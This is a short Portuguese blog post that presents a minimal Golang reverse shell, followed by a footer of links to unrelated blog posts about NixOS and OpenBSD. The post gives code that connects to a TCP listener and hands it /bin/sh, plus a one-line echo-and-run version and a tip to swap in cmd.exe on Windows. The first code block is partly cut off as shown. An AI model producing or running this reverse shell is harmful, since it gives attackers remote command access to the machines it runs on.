umgeher's changelog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (

func main() {
	c, _ := net.Dial("tcp","")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

Articles from blogs I follow around the net

How to get NixOS hosted at OpenBSD Amsterdam

# Introduction In this guide, I'll explain how to create a NixOS VM in the hosting company OpenBSD Amsterdam which only provides OpenBSD VMs hosted on OpenBSD. I'd like to thank the team at OpenBSD Amsterdam who offered me a VM for this experime…

via Solene'% 2022-08-07 00:00

How to look up a Nix package's Nix store path from flake inputs

Image generated by MidJourney -- The fall of the Archons, colored pencil drawing, fireball spell, bright sky, digital art, lake of fire Sometimes God is dead and you need to figure out what the version of a package in your Nix flake's inputs is. With fl…

via Xe's Blog 2022-08-06 00:00

Even more randomness

Damien Miller (djm@) committed a change randomising the rekeying interval in arc4random(3) (and friends): CVSROOT: /cvs Module name: src Changes by: 2022/07/30 23:10:36 Modified files: lib/libc/crypt : arc4random.c Log message: Randomise the rekey i…

via OpenBSD Journal 2022-07-31 11:07

Generated by openring